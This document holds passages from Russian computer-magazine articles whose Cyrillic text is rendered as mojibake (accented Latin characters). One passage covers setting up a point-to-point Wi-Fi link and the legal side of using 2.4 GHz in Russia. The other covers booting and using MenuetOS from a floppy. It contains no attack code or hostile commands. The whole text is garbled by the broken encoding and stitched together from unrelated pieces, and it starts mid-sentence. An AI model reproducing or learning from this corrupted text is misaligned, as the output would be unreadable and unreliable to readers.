ïðîñìàòðèâàòü ñèãíàë ÷åðåç áðàó-
çåð. Åñòåñòâåííî, âî âðåìÿ íàñò-
ðîéêè ïðèõîäèòñÿ ìíîãî îáùàòü-
ñÿ. Ýòî ìîæíî äåëàòü êàê ïî ðà-
öèè, òàê è ïî ñîòîâîìó òåëåôîíó.
Èëè, íàïðèìåð, ñ ïîìîùüþ ðàäè-
îòðóáîê. Ïðè ýòîì òðåòèé ÷åëîâåê,
êîòîðûé ñèäèò äîìà è ñëåäèò çà
ñèãíàëîì, ìîæåò ðàçãîâàðèâàòü ñ
áàçû ðàäèîòåëåôîíà èëè ïîäêëþ-
÷èòüñÿ ê ðàçãîâîðó ñ ïîìîùüþ óñ-
ëóãè «êîíôåðåíöèÿ 3-õ», ïîääåð-
æèâàåìîé âñåìè ñîâðåìåííûì
öèôðîâûìè ÀÒÑ.

[êóäà äåâàòü AP'øêó?] Íåïðàâû òå, êòî ñ÷èòàþò, ÷òî àíòåííó ìîæíî
óñòàíîâèòü íà êðûøå äåâÿòèýòàæíîãî äîìà, à òî÷êó äîñòóïà � ó ñåáÿ â
êâàðòèðå íà 5-îì ýòàæå. Îòâåòñòâåííî çàÿâëÿþ: íè÷åãî õîðîøåãî èç ýòî-
ãî íå âûéäåò. Ðàññòîÿíèå ìåæäó àíòåííîé è òî÷êîé äîñòóïà äîëæíî
áûòü ìèíèìàëüíûì è â èäåàëå íå ïðåâûøàòü 3�5 ìåòðîâ. Â êðàéíåì
ñëó÷àå � ìåòðîâ 8�9. Ñèñòåìà, âîçìîæíî, áóäåò ðàáîòàòü è ïðè áîëü-
øåé ïðîòÿæåííîñòè êàáåëÿ, íî ñêîðîñòü ïåðåäà÷è äàííûõ ïðè ýòîì îñ-
òàâëÿåò æåëàòü ëó÷øåãî. Íåêîòîðûå ýíòóçèàñòû ðàñïîëàãàþò òî÷êè äîñ-
òóïà â íåïîñðåäñòâåííî áëèçîñòè îò àíòåííû � ïðÿìî íà êðûøå. Äëÿ
ýòîãî èñïîëüçóåòñÿ äîâîëüíî ïëîòíûé æåëåçíûé ÿùèê. Ïðè ýòîì ñàìî
îáîðóäîâàíèå (AP'øêà è âñå íåîáõîäèìîå) âìåñòå ñ ñîáèðàþùèìè êîí-
äåíñàò- øàðèêàìè ïðåäâàðèòåëüíî ïîìåùàþòñÿ â öåëëîôàíîâûé ïàêåò.
Ê ÿùèêó ïîäâîäÿò âñå íåîáõîäèìûå êîììóíèêàöèè (Â×-êàáåëü, âèòóõà
äî ñâèò÷à, ïèòàíèå), ïîñëå ÷åãî îí çàêðûâàåòñÿ, è ñàìûì òùàòåëüíûì
îáðàçîì ãåðìåòèçèðóåòñÿ ñ ïîìîùüþ ãåðìåòèêà.
Åñëè ñïðîñèøü ìåíÿ, òî ÿ ðèñêîâàòü äîðîãîñòîÿùèì îáîðóäîâàíèåì íå
ëþáëþ. Ïîýòîìó ïðåäïî÷èòàþ ðàñïîëàãàòü ÿùèêè ñ îáîðóäîâàíèåì íà
ýòàæàõ, â ëèôòåðíîé èëè, â ñëó÷àå èõ îòñóòñòâèÿ, íà ïîñëåäíåì ýòàæå â
ïîäúåçäå. Òåõíîëîãèÿ çäåñü òî÷íî òàêàÿ æå, êàê è ïðè ïîñòðîåíèè ëîêàëü-
íîé ñåòè. Ïîäðîáíåé ÷èòàé ñòàòüþ «Êëàäåì ñåòü» â èþíüñêîì íîìåðå X.

[ñonnected�] Êàê âèäèøü, îðãàíèçîâàòü ñâîé ðàäèîêàíàë, òî åñòü
íàñòðîèòü äâå AP-øêè â ðåæèìå òî÷êà-òî÷êà, äîâîëüíî ïðîñòî. Íàñêîëü-
êî õîðîøî îí áóäåò ðàáîòàòü � ýòî óæå äðóãîé âîïðîñ. Ïðîñòåéøèé ñïî-
ñîá èçìåðèòü ñðåäíþþ ñêîðîñòü â êîíêðåòíûõ óñëîâèÿõ: âçÿòü ôàéë äîñ-
òàòî÷íî áîëüøîãî ðàçìåðà è çàìåðèòü âðåìÿ åãî ïðîõîæäåíèÿ ïî áåñï-
ðîâîäíîé ñåòè. Ðàçäåëèâ ðàçìåð ôàéëà íà ýòî âðåìÿ, òû ïîëó÷èøü ðå-
àëüíóþ ñêîðîñòü. Â çàâèñèìîñòè îò ïîãîäû, âðåìåíè ãîäà, à òàêæå íàëè-
÷èÿ â ðàäèîýôèðå ïîìåõ, ýòî çíà÷åíèå ìîæåò ñèëüíî âàðüèðîâàòüñÿ êàê
â áîëüøóþ, òàê è â ìåíüøóþ ñòîðîíó. Äëÿ òîãî ÷òîáû ïðîâåðèòü ñòà-
áèëüíîñòü êàíàëà, íåñêîëüêî ñóòîê ïîãîíÿé êîìàíäó ping è îöåíè ñòà-
òèñòèêó ïîòåðÿííûõ ïàêåòîâ 

ÏÐÀÂÎÂÎÉ ÀÀÑÏÅÊÒ ÈÈÑÏÎËÜÇÎÂÀÍÈß WWI-FFI
Äëÿ òîãî ÷òîáû èñïîëüçîâàòü Wi-Fi, íåîáõîäèìî ïîëó÷èòü
ñïåöèàëüíîå ðàçðåøåíèå íà èñïîëüçîâàíèå ïîëîñû ÷àñòîò
2400�2483,5 ÌÃö (ñòàíäàðòû 802.11b è g). Ê ñ÷àñòüþ, êàê
äëÿ âíóòðèîôèñíûõ ñèñòåì, òàê è äëÿ âíåøíèõ ñåòåé (êàê â
íàøåì ñëó÷àå) ïðèìåíÿåòñÿ óïðîùåííûé ïîðÿäîê ïîëó÷å-
íèÿ ýòîãî ñàìîãî ðàçðåøåíèÿ. Åãî âûäàåò ÔÃÓÏ «Ãëàâíûé
ðàäèî÷àñòîòíûé öåíòð», çà ïîäðîáíûìè êîíñóëüòàöèÿìè
ñòîèò îáðàùàòüñÿ èìåííî òóäà.
Íå áóäó ñêðûâàòü, â ðåàëüíîñòè ìàëî êòî ýòî ðàçðåøåíèå
èìååò. Äëÿ åãî ïîëó÷åíèÿ ïîòðåáîâàëîñü áû ïðîéòè îãðîì-
íóþ âîëîêèòó ñ áóìàãàìè è çàïëàòèòü íåìàëî äåíåã, ÷òî
äëÿ ìíîãèõ ïðàêòè÷åñêè íåâûïîëíèìî. Ê ñ÷àñòüþ (èëè, ê
ñîæàëåíèþ), êîíòðîëÿ íàä ïèðàòñêèì èñïîëüçîâàíèåì ÷àñ-
òîò â Ðîññèè ïðàêòè÷åñêè íåò. Ïîýòîìó âîò óæå íåñêîëüêî
ëåò ëþáîé æåëàþùèé ñâîáîäíî èñïîëüçóåò ÷àñòîòó 2.4
ÃÃö, ðèñêóÿ ïðè ýòîì ïîëó÷èòü ïî áàøêå. Äèàïàçîí ÷àñòîò
âîêðóã 2.4 ÃÃö ïðè ýòîì ñèëüíî çàãàæåí, ÷òî ñèëüíî ìåøà-
åò ðàáîòå îôèöèàëüíûõ ïðîâàéäåðîâ.
Ññûëêà ïî òåìå: ÔÃÓÏ «Ãëàâíûé ðàäèî÷àñòîòíûé öåíòð»
� www.grfc.ru.
Ìèíñâÿçè Ðîññèè � www.minsvyaz.ru.

òàêèå ïàðàáîëè÷åñêèå àíòåííû èñïîëüçóþòñÿ 
â Wi-Fi ñåòÿõ î÷åíü ÷àñòî

áþäæåòíàÿ AP'êà îò D-Link ïîäîéäåò äëÿ òåõ, êòî îãðàíè÷åí â ôèíàíñàõ

â ñëó÷àå èñïîëüçîâà-
íèÿ ìà÷òû íåîáõîäè-
ìî ïîçàáîòèòüñÿ îá
åå óñòîé÷èâîñòè

www.wifi-connect.ru �
áåñïðîâîäíûå ñåòè Ðîññèè.
www.wi-fi.ru � î òåõíîëî-
ãèè Wi-Fi íà ðóññêîì ÿçûêå.
www.nag.ru � âåäóùèé
ðåñóðñ ïî ñåòåâîìó àäìè-
íèñòðèðîâàíèþ â Ðîññèè.
http://interfaces.by.ru/80211
g.htm � ïîäðîáíîå îïèñà-
íèå ñòàíäàðòà IEEE 802.11g.
www.nwfusion.com/research
/2002/0909wepprimer.html
� ïðîáëåìû áåçîïàñíîñòè
â Wi-Fi ñåòÿõ.
www.wi-fi.org/OpenSection/
FAQ.asp � îôèöèàëüíûé
FAQ ïî Wi-Fi.

êðîíøòåéí äëÿ êðåï-
ëåíèÿ àíòåííû ê ñòåíå





ëåé Windows áóäåò àðõèâ ñ èñïîë-
íÿåìûì ôàéëîì âíóòðè. Íóæíî
áóäåò ëèøü çàïóñòèòü åãî, à ïðîã-
ðàììà ñàìà çàïèøåò íà âñòàâëåí-
íóþ äèñêåòó îáðàç, è äîïîëíèòåëü-
íûé ñîôò äëÿ ýòîé îïåðàöèè íå
ïîíàäîáèòñÿ. MenuetOS èñïîëüçó-
åò ôàéëîâóþ ñèñòåìó FAT, ïîýòî-
ìó ñîäåðæèìîå çàïèñàííîé äèñêå-
òû ìîæíî áóäåò ïðîñìîòðåòü èç
òâîåé îñíîâíîé îïåðàöèîííîé
ñèñòåìû. MenuetOS òàêæå ïîääåð-
æèâàåò FAT32, ïîýòîìó, íàõîäÿñü
â íåé, òû ñìîæåøü ïîëó÷èòü äîñ-
òóï ê ðàçäåëàì òâîåãî æåñòêîãî
äèñêà (åñëè, êîíå÷íî, òàêèå ðàçäå-
ëû ó òåáÿ åñòü. Ëè÷íî ÿ óæå äàâíî
èñïîëüçóþ òîëüêî NTFS). Èòàê, òû
ñêà÷àë ñ ñàéòà òîò èëè èíîé äèñò-
ðèáóòèâ è óñïåøíî çàïèñàë îáðàç
íà äèñêåòó. ×òî äàëüøå? Òåïåðü
íåîáõîäèìî ïåðåçàãðóçèòü êîìïü-
þòåð, è íàñòðîèòü â BIOS'å çàãðóç-
êó ñ ãèáêîãî äèñêà. Â áèâèñå ìîæíî âûñòàâëÿòü ïîñëåäîâàòåëüíîñòü, â
êîòîðîé êîìïüþòåð ïðè çàãðóçêå èùåò çàãðóçî÷íûå äèñêè. Åñëè ïåðâûì
â ñïèñêå ñòîèò æåñòêèé äèñê è íà íåì óñòàíîâëåíà îïåðàöèîííàÿ ñèñòå-
ìà, òî èìåííî îíà è ãðóçèòñÿ. Òåáå íàäî çàãðóçèòü MenuetOS, êîòîðàÿ
íàõîäèòñÿ íà äèñêåòå, ïîýòîìó äèñêåòó â BIOS'å íàäî âûñòàâèòü ïåðåä
æåñòêèì äèñêîì. Òåïåðü êîìïüþòåð ïðè âêëþ÷åíèè áóäåò ñìîòðåòü ñíà-
÷àëà íà äèñêåòó, è åñëè îíà âñòàâëåíà, òî ïðîèçîéäåò çàãðóçêà ñ íåå
îïåðàöèîííîé ñèñòåìû.Ïîñëå íàñòðîéêè áèîñà óáåäèñü, ÷òî äèñêåòà íà
ìåñòå, è ïåðåçàãðóæàé êîìïüþòåð. Íà÷íåòñÿ çàãðóçêà MenuetOS. Â íà-
÷àëå ïîÿâèòñÿ îêíî íàñòðîéêè ïåðåä ñòàðòîì. MenuetOS ïîêà íå óìååò
àâòîìàòè÷åñêè îïðåäåëÿòü ïàðàìåòðû óñòàíîâëåííîãî îáîðóäîâàíèÿ,
ïîýòîìó îíà çàäàåò ïîëüçîâàòåëþ íåñêîëüêî âîïðîñîâ, ïðåæäå ÷åì íà-
÷àòü ðàáîòó. Äëÿ íà÷àëà â ïîÿâèâøåìñÿ ñèíåì äèàëîãîâîì îêíå ñëåäó-
åò óêàçàòü âèäåîðåæèì, êîòîðûé áóäåò èñïîëüçîâàòüñÿ è ðàçðåøåíèå
ýêðàíà. Äëÿ áîëüøèíñòâà êîíôèãóðàöèé áóäåò ïðèåìëåìûì âûáîð ðå-
æèìà Vesa 2.0+, è ïðåäïî÷òèòåëüíîãî â ïîâñåäíåâíîé ðàáîòå ýêðàííîãî
ðàçðåøåíèÿ, êîòîðîå ó âñåõ ðàçíîå. Åñëè òû çàïóñêàåøü MenuetOS íà

[óíèêàëüíîñòü MenuetOS] Ìîæåò ñëîæèòü-
ñÿ âïå÷àòëåíèå, ÷òî ðàçíîîáðàçèå àëüòåðíà-
òèâíûõ îïåðàöèîííûõ ñèñòåì îãðàíè÷èâàåòñÿ
áåñ÷èñëåííûìè äèñòðèáóòèâàìè Linux, ìíîæå-
ñòâîì êîììåð÷åñêèõ âåðñèé UNIX è íåñêîëüêè-
ìè âåòêàìè BSD. Äàæå îïåðàöèîííàÿ ñèñòåìà
Ìàêèíòîøåé, MacOS X, êîòîðàÿ íåäàâíî áûëà
ïîðòèðîâàíà íà ïëàòôîðìó x86 è ñîâñåì ñêîðî
ãðîçèòñÿ ñòàòü ãëàâíûì êîíêóðåíòîì Windows,
îñíîâàíà íà ìîäèôèöèðîâàííîì ÿäðå FreeBSD.
À ãäå æå äåéñòâèòåëüíî îðèãèíàëüíûå îïåðà-
öèîííûå ñèñòåìû, êîòîðûå íå ÿâëÿþòñÿ íè÷üè-
ìè êëîíàìè èëè ïîòîìêàìè? Îäíîé èç òàêèõ
îïåðàöèîííûõ ñèñòåì ÿâëÿåòñÿ MenuetOS. Îíà
ïðåäñòàâëÿåò ñîáîé íàïèñàííóþ ñ íóëÿ 32-áèò-
íóþ ìíîãîçàäà÷íóþ îïåðàöèîííóþ ñèñòåìó,
ðàñïðîñòðàíÿåìóþ ïî ñâîáîäíîé ëèöåíçèè GNU
GPL. Ñðàçó æå áðîñàåòñÿ â ãëàçà åå êîðåííîå
îòëè÷èå îò äðóãèõ àëüòåðíàòèâíûõ îïåðàöèîí-
íûõ ñèñòåì: â îòëè÷èå îò áîëüøèíñòâà ñîâðå-
ìåííûõ ñèñòåì, íàïèñàííûõ íà ÿçûêàõ âûñîêî-
ãî óðîâíÿ, MenuetOS íàïèñàíà öåëèêîì íà 32-
áèòíîì àññåìáëåðå! Ñëåäñòâèåì ýòîãî ÿâëÿåò-
ñÿ åå ÷ðåçâû÷àéíî ìàëûé ðàçìåð (âñÿ MenuetOS
çàíèìàåò â íåñæàòîì âèäå âñåãî ëèøü îáúåì
îäíîé äèñêåòû) è áûñòðîäåéñòâèå. Ñîçäàòåëåì
îïåðàöèîííîé ñèñòåìû ÿâëÿåòñÿ Âèëëå Òóðüÿ-
íàìà, ñîîòå÷åñòâåííèê Ëèíóñà Òîðâàëüäñà.

[óñòàíîâêà] Óñòàíîâêà MenuetOS ÷ðåçâû÷àé-
íî ïðîñòà. Îíà íàìíîãî ïðîùå, ÷åì ó äðóãèõ
îïåðàöèîííûõ ñèñòåì. Ïîñêîëüêó îïåðàöèîííàÿ
ñèñòåìà çàíèìàåò ìàëî ìåñòà è öåëèêîì óìå-
ùàåòñÿ íà äèñêåòå, òî íåò íèêàêîé íåîáõîäè-
ìîñòè óñòàíàâëèâàòü åå íà æåñòêèé äèñê. Ïîý-
òîìó MenuetOS çàïóñêàåòñÿ ïðÿìî ñ ôëîïïèêà.
Äëÿ íà÷àëà òåáå íóæíî áóäåò ñêà÷àòü äèñòðè-
áóòèâ ñ îôèöèàëüíîãî ñàéòà menuetos.org. Ïîñ-
ëåäíåé ñòàáèëüíîé âåðñèåé MenuetOS íà ìî-
ìåíò íàïèñàíèÿ ñòàòüè áûëà âåðñèÿ 0.78. Íóæ-
íî áóäåò âûáèðàòü ñðåäè íåñêîëüêèõ âèäîâ äèñò-
ðèáóòèâîâ. Åñòü îáû÷íûé îáðàç äèñêåòû, ïðåäñ-
òàâëÿþùèé ñîáîé ôàéë ñ ðàñøèðåíèåì .img,
êîòîðûé ìîæíî çàïèñàòü íà äèñêåòó ñ ïîìîùüþ
ñïåöèàëüíîé ïðîãðàììû äëÿ çàïèñè îáðàçîâ. Áî-
ëåå óäîáíûì äèñòðèáóòèâîì äëÿ ïîëüçîâàòå-
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Ðàçìåð îïåðàöèîíêè
èìååò çíà÷åíèå

Íà íàøåì äèñêå òû íàé-
äåøü äèñòðèáóòèâ
MenuetOS 0.78 è çàãðóç÷è-
êè äëÿ èñïîëüçîâàíèÿ ñîâ-
ìåñòíî ñ MSDOS, Windows
9x è Windows NT/2k/XP.

Îôèöèàëüíûé ñàéò îïåðà-
öèîííîé ñèñòåìû �
http://menuetos.org.
Ñàéò íà ðóññêîì ÿçûêå,
ïîñâÿùåííûé MenuetOS �
http://menuetos.narod.ru.
MenuetOS íà SourceForge -
http://sourceforge.net/proj-
ects/menuetos.
3D-ïðèëîæåíèÿ äëÿ
MenuetOS �
www.melog.ch/mos_pub.
Ïîðòèðîâàíèå Quake íà
MenuetOS � http://geoci-
ties.com/kirkalx/menquake.



ñòàðîì êîìïüþòåðå, òî, âîçìîæíî, ïîòðåáóåòñÿ âûáðàòü äðóãîé ðåæèì:
Vesa 1.0 èëè äàæå EGA/CGA. Åñëè âûáðàí ðåæèì Vesa 2.0, òî äàëüøå
ïîÿâèòñÿ âîïðîñ, ñëåäóåò ëè èñïîëüçîâàòü ãðàôè÷åñêóþ àêñåëåðàöèþ
MTRR. Ñëåäóåò îòâåòèòü «äà», ÷òîáû âêëþ÷èëîñü àïïàðàòíîå óñêîðåíèå
âûâîäà ãðàôè÷åñêèõ èçîáðàæåíèé. Ñëåäóþùèé âîïðîñ êàñàåòñÿ íàõîæ-
äåíèÿ ìûøè. Ìûøü ìîæåò áûòü ïîäêëþ÷åíà ê ïîðòó PS/2, USB èëè ê îä-
íîìó èç COM-ïîðòîâ, è MenuetOS ïîïðîñèò óêàçàòü, ãäå èìåííî îíà íà-
õîäèòñÿ. Çàòåì ïîñëåäóåò âîïðîñ î òîì, îòêóäà îïåðàöèîííàÿ ñèñòåìà
äîëæíà çàãðóçèòü âèðòóàëüíûé äèñê. Âûáèðàé ïóíêò ïî óìîë÷àíèþ �
çàãðóçêó ñ ôëîïïè-äèñêà.
Ýòî ïîñëåäíèé âîïðîñ íàñòðîéùèêà, ïîñëå îòâåòà íà íåãî íà÷èíàåòñÿ
íåïîñðåäñòâåííî çàãðóçêà îïåðàöèîííîé ñèñòåìû. Ñëåäóåò íåìíîãî ïî-
äîæäàòü, çàòåì ïîÿâèòñÿ ñîîáùåíèå î òîì, ÷òî çàãðóçêà çàâåðøåíà, è
íóæíî íàæàòü êëàâèøó Escape äëÿ íà÷àëà ðàáîòû. Òåïåðü çàãðóæåííàÿ
MenuetOS ãîòîâà ê ðàáîòå.

[èíòåðôåéñ è ïðèëîæåíèÿ] Èòàê, êàê æå âûãëÿäèò èíòåðôåéñ
MenuetOS? Ìîãó ñêàçàòü, ÷òî îí âïîëíå ñîîòâåòñòâóåò ìîèì ïðåäñòàâëå-
íèÿì î òîì, êàê äîëæåí âûãëÿäåòü ãðàôè÷åñêèé èíòåðôåéñ ñîâðåìåííîé
îïåðàöèîííîé ñèñòåìû. Òàê êàê GUI âñòðîåí íåïîñðåäñòâåííî â ÿäðî, îí
ðàáîòàåò î÷åíü áûñòðî. Ñâåðõó íàõîäèòñÿ ïàíåëü çàäà÷ ñ ÷àñàìè è áîëü-
øîé êíîïêîé ñ íàäïèñüþ MenuetOS. Íàæàòèå ýòîé êíîïêè, êàê ñëåäóåò äî-
ãàäàòüñÿ, ïðèâîäèò ê ïîÿâëåíèþ ñèñòåìíîãî ìåíþ, èç êîòîðîãî ìîæíî ïî-
ëó÷èòü äîñòóï êî âñåì íàñòðîéêàì è ïðèëîæåíèÿì. Íà ðàáî÷åì ñòîëå ñ
ôîíîâîé êàðòèíêîé íàõîäÿòñÿ çíà÷êè äëÿ çàïóñêà íåêîòîðûõ ïðîãðàìì.
Îêíà èìåþò çàãîëîâêè ïðèâû÷íîãî âèäà ñ êðåñòèêîì äëÿ çàêðûòèÿ â ïðà-
âîì óãëó. Ñëîâîì, íè÷åãî êàðäèíàëüíî îòëè÷àþùåãîñÿ îò ïðèâû÷íîãî èí-
òåðôåéñà íåò. Ôîíîì ðàáî÷åãî ñòîëà ìîæåò áûòü ëþáàÿ êàðòèíêà â ôîð-
ìàòå bmp èëè jpeg. Ðàñïîëîæåíèå çíà÷êîâ íà ðàáî÷åì ñòîëå òîæå ðåãóëè-
ðóåòñÿ. Ìîæíî äîáàâëÿòü íà ðàáî÷èé ñòîë äîïîëíèòåëüíûå ýëåìåíòû, íî
íå òàê êàê ýòî äåëàåòñÿ â Windows (âûáîð ïóíêòà ìåíþ «ñîçäàòü ÿðëûê»),
à ÷åðåç ñïåöèàëüíîå ïðèëîæåíèå, êîòîðîå òàê è íàçûâàåòñÿ Desktop, â êî-
òîðîì ìîæíî çàäàòü ïîçèöèþ, èêîíêó è èìÿ çàïóñêàåìîé ïðîãðàììû. Êðà-
ñèâûé è áûñòðûé èíòåðôåéñ � ýòî, êîíå÷íî, õîðîøî, íî îïåðàöèîííàÿ
ñèñòåìà äîëæíà óìåòü äåëàòü ÷òî-òî åùå, êðîìå ïîêàçûâàíèÿ çíà÷êîâ íà
ðàáî÷åì ñòîëå. Öåííîñòü îïåðàöèîííîé ñèñòåìû îïðåäåëÿåòñÿ íàáîðîì
ïðèëîæåíèé, êîòîðûå ïîä íåé çàïóñêàþòñÿ. Ïîñìîòðèì, êàê ñ ýòèì îáñòî-
èò äåëî â MenuetOS. Â ñòàíäàðòíîé ïîñòàâêå MenuetOS âìåñòå ñ ñèñòå-
ìîé èäåò äîâîëüíî áîëüøîå êîëè÷åñòâî ïðîãðàìì. Ðàñêðîé ãëàâíîå ìå-
íþ, è òû óâèäèøü òàì âîñåìü ïîäìåíþ, êàæäîå èç êîòîðûõ ñîäåðæèò íåñ-



êîëüêî ïðèëîæåíèé òîé èëè èíîé êàòåãîðèè. Íàçâàíèÿ ïîä-
ìåíþ ÿñíî äàþò ïîíÿòü, ÷òî âîçìîæíîñòåé ó ñèñòåìû äîñòà-
òî÷íî � Coding, Internet, Audio, Graphics. Íà ÷òî â ïåðâóþ
î÷åðåäü íàäî îáðàòèòü âíèìàíèå? Ïîäîáíî òîìó, êàê Linux
íåìûñëèìà áåç êîìïèëÿòîðà Ñè, MenuetOS íåìûñëèìà áåç
àññåìáëåðà. Âìåñòå ñ ñèñòåìîé â êîìïëåêòå èäåò FASM, ñ
ïîìîùüþ êîòîðîãî ìîæíî ñîáèðàòü ïðîãðàììû äëÿ
MenuetOS. ×òîáû âåñòè ðàçðàáîòêó ïðîãðàìì, íåîáõîäèì õî-
òÿ áû ýëåìåíòàðíûé òåêñòîâûé ðåäàêòîð, ÷òîáû áûëî, â ÷åì
íàáèðàòü òåêñò èñõîäíèêîâ. È òàêîé ðåäàêòîð â MenuetOS,
ðàçóìååòñÿ, åñòü. Íàçûâàåòñÿ îí TinyPad, è êîå â ÷åì îí äà-
æå ïîêðó÷å, ÷åì Notepad â Windows � îí óìååò ïîäñâå÷è-
âàòü ñèíòàêñèñ èñõîäíèêîâ íà àññåìáëåðå. Êðîìå òîãî, ìåíÿ
íåìàëî óäèâèëà ïîääåðæêà ðóññêîãî ÿçûêà � íàáèðàòü
òåêñò íà ðóññêîì ìîæíî áåç äîïîëíèòåëüíûõ óõèùðåíèé,
äîñòàòî÷íî ëèøü ïåðåêëþ÷èòüñÿ íà íåãî â ïðîãðàììå íàñò-
ðîéêè ñèñòåìû (Çíà÷îê Setup íà ðàáî÷åì ñòîëå, ïóíêò key-
board layout). Êðîìå ðóññêîãî è àíãëèéñêîãî ñèñòåìà ïîääåð-
æèâàåò òàêæå ôèíñêèé (ðîäíîé ÿçûê ñîçäàòåëÿ), íåìåöêèé è
ôðàíöóçñêèé. Êðîìå ñðåäñòâ ðàçðàáîòêè MenuetOS ñîäåð-
æèò íåêîòîðîå êîëè÷åñòâî îáû÷íûõ ïðèêëàäíûõ ïðèëîæå-
íèé: ïðîãðàììû äëÿ ïðîñìîòðà ãðàôè÷åñêèõ ôîðìàòîâ bmp
è jpeg, ïðîñòîé ãðàôè÷åñêèé ðåäàêòîð XPaint, ðåäàêòîð èêî-
íîê, êàëüêóëÿòîð è ôàéëîâûé ìåíåäæåð. Îòäåëüíî ñòîèò îò-
ìåòèòü ïðîãðàììû, ñîáðàííûå â ìåíþ Demos. Â íåì ðàñïîëîæåíû ñîôòè-
íû, äåìîíñòðèðóþùèå êàêèå-ëèáî âîçìîæíîñòè MenuetOS, â îñíîâíîì,
åå ãðàôè÷åñêîãî äâèæêà. Òàì åñòü, íàïðèìåð, ïðîãðàììà «ScreenSaver»,
êîòîðàÿ äåìîíñòðèðóåò â ïîëíîýêðàííîì ðåæèìå êðàñèâûå òðåõìåðíûå
âðàùàþùèåñÿ ôèãóðû. Åñòü ïðîãðàììû, ïðèçâàííûå ïîêàçàòü, ÷òî â
MenuetOS ìîæíî ñîçäàâàòü îêíà íåïðàâèëüíîé ôîðìû (íàïðèìåð, êðóã-
ëûå), à òàêæå îêíà ñ ïîëóïðîçðà÷íîñòüþ.
Â MenuetOS ïðèñóòñòâóåò ñåòåâàÿ ÷àñòü, îñíîâàííàÿ íà ïðîòîêîëå TCP/IP.
Ýòî îçíà÷àåò, ÷òî èç MenuetOS ìîæíî âûõîäèòü â ñåòü èíòåðíåò. Ïðàâäà,
äëÿ MenuetOS ïîêà íåò ïîðòèðîâàííîãî áðàóçåðà Firefox, íî êòî çíàåò, êàê
îíî îáåðíåòñÿ â äàëüíåéøåì :). Çàòî åñòü íåêîòîðîå êîëè÷åñòâî ñâîèõ

ñîáñòâåííûõ ñåòåâûõ óòèëèò, ñðåäè êîòîðûõ êëèåíòû telnet, irc, nntp, ftp, áðà-
óçåð è ïðîãðàììû äëÿ ðàáîòû ñ ïî÷òîâûìè ïðîòîêîëàìè pop3 è smtp. Ïðè-
ñóòñòâóåò äàæå êëèåíò äëÿ èãðû â øàõìàòû ïî èíòåðíåòó. Êðîìå êëèåíòîâ
åñòü åùå è ñåðâåðû http, ftp è email. Ðàçóìååòñÿ, ôóíêöèîíàëüíîñòü âñåõ
ýòèõ ïðèëîæåíèé ãîðàçäî ìåíüøå, ÷åì ó èõ àíàëîãîâ èç äðóãèõ îïåðàöèîí-
íûõ ñèñòåì, íî ýòî íè÷åãî íå çíà÷èò. Ñåòåâûå ïðèëîæåíèÿ â MenuetOS
ïðèçâàíû ïîêàçàòü, ÷òî ðàçðàáîòêà òàêîâûõ ïîä ýòó îïåðàöèîííóþ ñèñòåìó
âîîáùå âîçìîæíà, è èìååò ñìûñë. Â áóäóùåì, ÿ äóìàþ, ñòîèò æäàòü îò íèõ
óëó÷øåíèÿ ôóíêöèîíàëüíîñòè, à ïîêà îíè âûïîëíÿþò ñâîþ ôóíêöèþ êàê
äåìîíñòðàöèîííûå ïðîãðàììû. Ñ ïîìîùüþ âñòðîåííîé ïîääåðæêè TCP/IP
ìîæíî ïîäêëþ÷èòüñÿ ê ëîêàëüíîé ñåòè, à òàêæå ìîæíî ïîïðîáîâàòü âûéòè
â èíòåðíåò. Î òîì, êàê íàñòðîèòü ñåòåâóþ ÷àñòü MenuetOS, ïîäðîáíî íàïè-
ñàíî â äîêóìåíòå, êîòîðûé îòêðûâàåòñÿ ïðè íàæàòèè ïóíêòà ìåíþ Internet -
> Tools -> Information. ×òîáû ïîëó÷èòü äîñòóï ê ãëîáàëüíîé ñåòè, íåîáõîäèì
âíåøíèé õàðäâàðíûé ìîäåì. Åñëè ó òåáÿ ñòîèò âíóòðåííèé ñîôòîâûé ìî-
äåì, òî ïðî èíòåðíåò â MenuetOS òû ìîæåøü çàáûòü � ÷òîáû ìîäåì çàðà-
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êàëüêóëÿòîð, òåðìèíàë, ïàëèòðà è êîïèÿ ýêðàíà

øàõìàòû, Òåòðèñ, Ñàïåð è èãðà Ñ4

ôàéëîâûé ìåíåäæåð, ñïèñîê çàïóùåííûõ çàäà÷ è íàñòðîéêè ñèñòåìû

ÇÀÃÐÓÇÊÀ ÑÑ ÆÆÅÑÒÊÎÃÎ ÄÄÈÑÊÀ
Ïîñòîÿííî çàïóñêàòü MenuetOS ñ äèñêåòû ìîæåò íàäîåñòü,
è âîçíèêíåò ïîòðåáíîñòü çàïóñêàòü åå ñ æåñòêîãî äèñêà.
Ýòîãî ìîæíî äîáèòüñÿ, èñïîëüçóÿ ñïåöèàëüíûå çàãðóç÷èêè. 
Äëÿ çàïóñêà MenuetOS ñîâìåñòíî ñ MS-DOS èëè Windows
9x ñóùåñòâóåò ïðîãðàììà MeOSLoad. Äëÿ ðàáîòû çàãðóç-
÷èêà íåîáõîäèìî, ÷òîáû òâîé êîìïüþòåð óäîâëåòâîðÿë
íåêîòîðûì óñëîâèÿì. Ðàçäåë, íà êîòîðîì ðàñïîëîæåí
çàãðóç÷èê, äîëæåí èìåòü ôàéëîâóþ ñèñòåìó FAT32.
Æåñòêèé äèñê, íà êîòîðîì ðàñïîëîæåí ýòîò ðàçäåë, äîë-
æåí áûòü ïîäêëþ÷åí ê ïåðâîìó êîíòðîëëåðó IDE è áûòü
âåäóùèì óñòðîéñòâîì (Master).
Â óñòàíîâêå çàãðóç÷èêà íè÷åãî ñëîæíîãî íåò � ïðîñòî
ïîìåñòè ôàéë çàãðóç÷èêà meosload.com â êîðíåâîé êàòà-
ëîã äèñêà C. Òóäà æå ñëåäóåò ïîìåñòèòü èíñòàëëÿöèîí-
íûé ôàéë msetup.exe. Ïîñëå ýòîãî ôàéë meosload.com
íàäî ïðîñòî çàïóñòèòü. Èç MS-DOS ýòî ìîæíî äåëàòü
ñðàçó, à âîò åñëè òû íàõîäèøüñÿ â Windows 9x, òî ïðåä-
âàðèòåëüíî íàäî ïåðåçàãðóçèòü êîìïüþòåð â ðåæèìå
Command prompt only. ×òîáû íå çàïóñêàòü ôàéë
meosload.com êàæäûé ðàç âðó÷íóþ, òû ìîæåøü íàñòðî-
èòü çàãðóçî÷íîå ìåíþ ïóòåì ðåäàêòèðîâàíèÿ ôàéëîâ
autoexec.bat è config.sys. MeOSLoad ìîæåò íå ïîääåðæè-
âàòü íåêîòîðûå âåðñèè MenuetOS. Ñïèñîê âåðñèé, êîòî-
ðûå óñïåøíî ïðîøëè èñïûòàíèÿ, ÷èòàé â ñïðàâî÷íîì
